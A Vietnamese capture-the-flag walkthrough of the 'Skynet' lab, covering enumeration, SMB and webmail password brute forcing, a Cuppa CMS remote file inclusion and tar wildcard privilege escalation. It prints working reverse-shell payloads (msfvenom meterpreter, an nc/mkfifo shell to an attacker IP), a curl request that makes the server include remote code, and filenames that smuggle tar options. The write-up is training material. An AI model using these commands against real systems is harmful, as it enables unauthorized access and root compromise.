Recon

Chạy Nmap để thăm dò như sau:

sudo nmap -sS --top-ports 1000 -Pn -n -T4 -oN nmap_skynet.txt 10.10.175.55

Tìm được các port sau:

22/tcp  open  ssh
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  microsoft-ds

Port 80 không có gì để khai thác.

Dùng Feroxbuster với cú pháp sau:

feroxbuster -u http://10.10.175.55

Thăm dò được một thư mục đáng ngờ là /squirrelmail.

Samba

Đề bài gợi ý về Samba, sử dụng Nmap để thăm dò về dịch vụ này tương tự như trong Kenobi:

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.175.55

Tuy nhiên, output của Nmap có hơi dài dòng, ta dùng tool smbmap để enumerate các tài nguyên chia sẻ như sau:

smbmap -H 10.10.175.55

Output thu được là:

Disk                                                    Permissions     Comment
----                                                    -----------     -------
print$                                                  NO ACCESS       Printer Drivers
anonymous                                               READ ONLY       Skynet Anonymous Share
milesdyson                                              NO ACCESS       Miles Dyson Personal Share
IPC$                                                    NO ACCESS       IPC Service (skynet server (Samba, Ubuntu))

Kết nối đến share anonymous như sau (sử dụng mật khẩu rỗng):

smbclient //10.10.175.55/anonymous

Thấy có một vài tập tin và thư mục, tải chúng về như sau:

smbget -R smb://10.10.175.55/anonymous

Thấy có vẻ file logs1.txt là danh sách các password. Thử chạy Hydra với username là milesdyson (là tên của một trong số những tài nguyên chia sẻ tìm được) cho hai giao thức IMAPPOP3 nhưng không thành công:

hydra -l milesdyson -P logs1.txt 10.10.175.55 pop3
hydra -l milesdyson -P logs1.txt 10.10.175.55 imap

Thử truy cập vào /squirrelmail và ta có được trang đăng nhập của email. Capture request đăng nhập để lấy request body. Sau đó chạy lệnh Hydra sau để brute force mật khẩu với username là milesdyson:

hydra -l milesdyson -P logs1.txt 10.10.175.55 http-post-form "/squirrelmail/src/login.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:ERROR"

Tìm được danh sách nhiều password, thử cái đầu tiên và thành công:

cyborg007haloterminator

Đọc mail reset password của Samba và ta biết được password Samba của user milesdyson là:

)s{A&2Z=F^n_E.B`

Tải các tập tin chia sẻ của user milesdyson về thông qua câu lệnh sau:

smbget -R smb://10.10.175.55/milesdyson -U milesdyson

Thấy được file important.txt có chứa thông tin về một CMS ở đường dẫn sau:

/45kra24zxs28v3yd

Cuppa CMS

Truy cập vào và ta có được một landing page. Tiếp tục dùng Feroxbuster để tìm ra các thư mục ẩn:

feroxbuster -u http://10.10.175.55/45kra24zxs28v3yd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Tìm được thư mục administrator. Truy cập vào và thấy được login page của Cuppa CMS. Tìm thấy được một exploit sử dụng kiểu tấn công Remote File Inclusion để tạo reverse shell.

Tạo ra một reverse shell bằng PHP như sau:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.13.30.179 LPORT=8888 -f raw > rev_shell.php

Sau đó setup một Metasploit Multi-Handler module như sau:

set lhost tun0
set lport 8888
set payload php/meterpreter_reverse_tcp

Chạy một Web server bằng Python ở port 9999 để host reverse shell.

Gửi request đến trang Cuppa CMS như sau:

curl http://10.10.175.55/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.30.179:9999/rev_shell.php

Lý do ta có thể khai thác là vì trong code của file alertConfigField.php có dòng code sau:

<?php include($_REQUEST["urlConfig"]); ?>

Đợi một chút và ta nhận được meterpreter shell.

Truy cập vào /home/milesdyson/user.txt và ta có flag:

Success

7ce5c2109a40f958099283600a9ae807

Privilege Escalation

Ta dùng kỹ thuật của Linux Privilege Escalation - Cron Jobs để leo thang đặc quyền. Trước tiên kiểm tra các CRON job đang chạy:

cat /etc/crontab

Output là:

*/1 *   * * *   root    /home/milesdyson/backups/backup.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Kiểm tra quyền trên /home/milesdyson/backups/backup.sh thì thấy:

-rwxr-xr-x 1 root root 74 Sep 17  2019 /home/milesdyson/backups/backup.sh

Tuy nhiên, ta không thể dùng các editor để chỉnh sửa file backup.sh. Thử xem nội dung của file này:

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

Có thể thấy, file này có nhiệm vụ: nén toàn bộ các file trong thư mục /var/www/html thành file backup.tgz. Với các option:

  • c: tạo mới một file nén.
  • f: chỉ định filename phía sau option.

Để khai thác, ta cần tạo ra ba file sau ở trong thư mục /var/www/html:

  • shell.sh
  • --checkpoint=1
  • --checkpoint-action=exec=sh shell.sh

Tạo file shell.sh bằng lệnh sau:

echo "mkfifo /tmp/f; nc 10.13.30.179 7777 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f" > shell.sh

Nhiệm vụ của shell.sh là gửi reverse shell có quyền root đến attacking machine của chúng ta (lưu ý là cần chạy một Netcat server ở port 7777).

Cũng có thể dùng lệnh sau:

echo "#!/bin/bash\nchmod +s /bin/bash" > shell.sh

Lệnh này giúp thêm bit SUID vào chương trình /bin/bash1 giúp cho nó có thể chạy dưới quyền của chủ sở hữu (root).

Tiếp theo tạo hai file còn lại như sau:

touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"

Chương trình tar khi chạy sẽ tưởng hai file vừa tạo là các option chứ không phải là file. Khi đó, option thứ hai sẽ giúp thực thi file shell.sh.

Chờ một chút và ta có thể nhận được reverse shell (hoặc root shell).

Truy cập vào /root/root.txt và thu được flag:

Success

3f0372db24753accc7179a282cd6a949

Resources

Footnotes

  1. Xem thêm Linux Privilege Escalation - SUID.